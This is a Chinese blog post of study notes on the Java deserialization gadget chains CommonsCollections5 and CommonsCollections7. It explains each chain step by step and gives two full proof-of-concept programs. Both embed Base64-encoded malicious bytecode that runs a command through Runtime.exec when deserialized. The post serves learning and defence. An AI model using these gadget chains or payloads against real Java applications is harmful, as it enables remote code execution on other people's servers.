java安全漫谈观后感(十)-CC补漏篇
前言
p神的java安全漫谈讲到CC4后暂时没更新跟CC相关的内容了,frohoff师傅原版的ysoserial里还有CC5和CC7没讲,学。
CommonsCollections5
yso中的CC5
直接看看yso的利用链
可以看到ChainedTransformer.transform()
之后这部分都是老熟人了,后面这一坨和前面学习的内容是一样的,就不用分析了。且可以看到这里是LazyMap.get()
触发的transform()
方法,关键点在怎么触发LazyMap.get()
。前面学习CC6时知道TiedMapEntry.hashCode()
可以触发,这里CC5用到的是一种新思路,利用TiedMapEntry.toString()
。而BadAttributeValueExpException
的反序列化可以触发到TiedMapEntry.toString()
。这里的注释部分还提示了CC5只能在8u76且没有security manager
的情况下使用。
TiedMapEntry.toString()
TiedMapEntry
的toString()
方法可以触发到this.getkey()
和this.getValue()
其中的this.getValue()
是关键,TiedMapEntry.hashCode()
触发LazyMap.get()
也是利用到了TiedMapEntry.getValue()
BadAttributeValueExpException
BadAttributeValueExpException.readObject
的可以触发valObj.toString()
。可以看到只有当满足System.getSecurityManager()
为空,或者valObj是Long等数据类型的实例时才可以触发toString()
方法。而valObj是取自反序列化后BadAttributeValueExpException
的val属性。
看看BadAttributeValueExpException
的构造函数,很简单,构造函数的作用就是给自己的val属性赋值。
为了触发TiedMapEntry.toString()
,显然这里构造函数应该传入TiedMapEntry
对象。而TiedMapEntry
对象显然不会是Long等数据类型的实例,所以当且仅当System.getSecurityManager() == null
,才能顺利触发TiedMapEntry.toString()
。也即是我们前面看到yso中作者的注释,需要没配置security manager
。
注意到BadAttributeValueExpException
构造函数里也有toString()
。
为了避免在本地触发代码执行,我们new BadAttributeValueExpException
时传入一个无害的null,后面再反射修改其中的val属性。
把前面CC6的代码拿过来,把出发点从HashMap
改成BadAttributeValueExpException
,再反射改val属性,yso中的CC5就完成了,整体还是比较简单。
Gadget Chain如下:
核心步骤:
关于注释中的8u76
本地测了8u231,8u101,8u40,甚至6u45这条链子都可以弹出来计算器,我把本地idea触发toString()关掉后还是可以正常触发,有点奇怪。
看到作者注释中的commit
这个commit后才增加了readObject
方法,这里显示的8u76
查了下https://github.com/JetBrains/jdk8u_jdk这个仓库似乎是openjdk的源码,那就难怪对不上了,正常oracle jdk测出来CC5这个链子通用性还是很不错滴。
无数组的CC5
结合前面的知识不难弄出无数组的CC5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class CC5plus { public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "2333"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer itransformer = new InvokerTransformer("newTransformer", null,null); Map innerMap = new HashMap(); Map outerMap= LazyMap.decorate(innerMap,itransformer); TiedMapEntry tme=new TiedMapEntry(outerMap, obj);
BadAttributeValueExpException bada=new BadAttributeValueExpException(null);
Field f1 = BadAttributeValueExpException.class.getDeclaredField("val"); f1.setAccessible(true); f1.set(bada, tme);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(bada); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
核心调用链和前面只有Transformer
有变化
CommonsCollections7
yso中的CC7
看看yso中的CC7调用链
基于ChainedTransformer
触发代码执行,用LazyMap.get
触发transform()
方法,这些都是很熟悉的可以忽略,直接看怎么触发到LazyMap.get
。这里利用到了AbstractMap.equals
,而起点Hashtable.readObject
可以触发到AbstractMap.equals
。
调试
这条链子感觉比CC5更复杂, 这里直接在HashTable.readObject处下断点调试跟下过程。
发现会经历两次reconstitutionPut()
因为这里的循环次数是依据Hashtable中的元素量,yso实现CC7时做了两次Hashtable.put
,分别传入两个不同的lazyMap。所以反序列化时Hashtable中有两个元素,会执行两次循环。
LazyMap.get()
是在第二次reconstitutionPut()
触发的,可以看到此时触发的是yso中第一个LazyMap
和第二个LazyMap
做equals
操作。
跟入,到了AbstractMapDecorator.equals()
继续跟,进入AbstractMap.equals()
触发到了m.get(key)
,这里的m就是Hashtable
中第二个LazyMap
,触发到了LazyMap.get()
,至此算是结束了。后面触发transform()
都是老套路了,就不用讲了。
执行两次Hashtable.put的原因
为啥yso中要执行两次Hashtable.put
呢?
跟第一次Hashtable.reconstitutionPut()
,要触发到.equals()
必须进入这个for循环,但是我们可以看到这里的tab[index]
是null,会退出for循环,无法达到我们的预期。
不过好在跳过for循环后,会对tab[index]赋值,这里把序列化的Hashtable
第一个元素赋值给了tab。
也即是触发reconstitutionPut()
方法时Hashtable
中的table
参数。
所以执行两次Hashtable.put的目的应该是给Hashtable.table
赋值,以便进入我们想要的后续。
为什么最后有一句remove
yso中的实现在最后有一句remove
,我们把它注释掉,发现计算器出不来,那就调试分析原因。
当我们在第二次reconstitutionPut
循环,执行到关键的AbstractMap.equals
时,可以发现此时的m有两个元素,莫名其妙多了一个key和value都是yy的键值对。
此时this.size()
也即是我们的第一组LazyMap的size是1,而这里第二个LazyMap的size却是2,会导致直接返回false,没法走到下面的关键的m.get(key)
,所以没法正常触发LazyMap.get
。
所以CC7最后会有一段
给lazyMap2删除key是yy的元素。
我们再分析分析这里的lazyMap2为啥会有两个元素。
在CommonsCollections7下断点,观察lazyMap2变化,可以发现当执行hashtable.put(lazyMap2, 2)
后,lazyMap2的size变成了2。所以在hashtable.put
下断点跟跟
发现在hashtable.put
的时候,也会触发到LazyMap.get()
,且这里有一段this.map.put(key, value)
这里put了一个key和value都是yy的元素,执行完这段后this.map就变成2个元素了。
那为啥我们第一次Hashtable.put
不会触发呢,看看Hashtable.put
的实现。
这里的过程类似reconstitutionPut()
,第一次put时不会触发for循环,第二次put由于table已经有值了,所以会进入for循环触发到entry.key.equals
,最后触发到LazyMap.get()
。所以第二次及以后每次Hashtable
新增符合条件(即能正常触发if语句,需要entry.hash==hash)的元素都会触发LazyMap.get
,需要remove
。
为什么put的key是yy和zZ
改动上面LazyMap.put
的key值,可以发现计算器并不会如愿弹出来。跟进看看
在第二次reconstitutionPut
进入for循环后,有个if判断
关键的e.key.equals(key)
就在这里,但是前面其实还有个e.hash == hash
,如果不满足这个条件,会提前结束这个判断。
所以为了让这里的hash比较等于true,找到了yy和zZ两个字符,因为它们的hashCode结果是一样的。
还有个坑点是例如我这样写gadget
1 2 3 4 5
| Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("Aa", 1);
|
这样写经过一轮reconstitutionPut
后,基于lazyMap1的hash给tab[0]赋值了,而在第二轮reconstitutionPut
,基于lazyMap2的hash计算得到e= tab[1]
,e的值为null会退出for循环,导致触发不了我们的关键步骤。
综上我们需要两个hashCode的
值是一样的key,也即是gadget里用到的yy和zZ。
反射
前面分析过了,Hashtable在put方法时,也会触发LazyMap.get()
,会触发transform()
方法,为了避免我们本地触发命令执行,所以用反射的形式写。
关于LazyMap.put的Value值
我看很多师傅的文章似乎都没提这个点,我也是偶然发现我从yso照搬过来核心部分发现代码怎么都跑不对劲。
先给大伙儿看看这个诡异的现象
Hashtable
经过两次put的后竟然只有一个元素!
显然问题出在第二次put,跟入看看
竟然走入了这个if逻辑,这里直接return
了,不会走到后面的addEntry
,所以Hashteble
的元素没有增加。
再往前找找原因
前面其实也讲过,在做put的时候也会触发到LazyMap.get()
,因为会走到AbstractMap.equals
的这里
接着就进入LazyMap.get
这里this.factory
是ConstantTransformer(1)
,经过transform()
放回会返回1,会导致前面那里结果是true
最终返回true
即this.map.equals(obejct)返回true,则AbstractMapDecorator.equals返回true
即这里entry.key.equals(key)
返回true
所以这里要解决也很简单,只要LazyMap.put
时的value不能等于假的fakeTransformers.transform()
返回的值。
观察yso原作者实现的CC7,可以看到CC7中的transformerChain
是空的,而之前CC1用的是
1 2
| CommonsCollections1final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
|
显然这里是有意规避这个问题的。
魔改CC7
CC6+CC7合体
前面分析reconstitutionPut
的时候可以看到,其实这里有对key做一次hashCode()
操作。
之前学习CC6的时候可以知道TiedMapEntry.hashCode()
可以搞事触发LazyMap.get
所以可以缝合CC6和CC7得到一个HashTable出发的魔改CC6
调用链
核心部分:
改成无数组的
显然也可以改成TemplatesImpl
触发代码执行的无数组形式,没啥难度,拼接一下之前的无数组CC6就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public static void main(String[] args) throws Exception { byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxieXRlY29kZXMvRXZpbFRlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABZFdmlsVGVtcGxhdGVzSW1wbC5qYXZhDAAcAB0HAC8MADAAMQEAE0hlbGxvIFRlbXBsYXRlc0ltcGwHADIMADMANAcANQwANgA3AQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAOAA5AQAbYnl0ZWNvZGVzL0V2aWxUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAKAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAADwAEABAADAARABUAEgAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg".getBytes()); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "2333"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer itransformer = new InvokerTransformer("getClass", null,null); Map innerMap = new HashMap(); Map outerMap= LazyMap.decorate(innerMap,itransformer); TiedMapEntry tme=new TiedMapEntry(outerMap, obj);
Hashtable hashtable = new Hashtable(); hashtable.put(tme, 2); outerMap.clear();
Field f = InvokerTransformer.class.getDeclaredField("iMethodName"); f.setAccessible(true); f.set(itransformer, "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashtable); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
|
调用链
核心调用链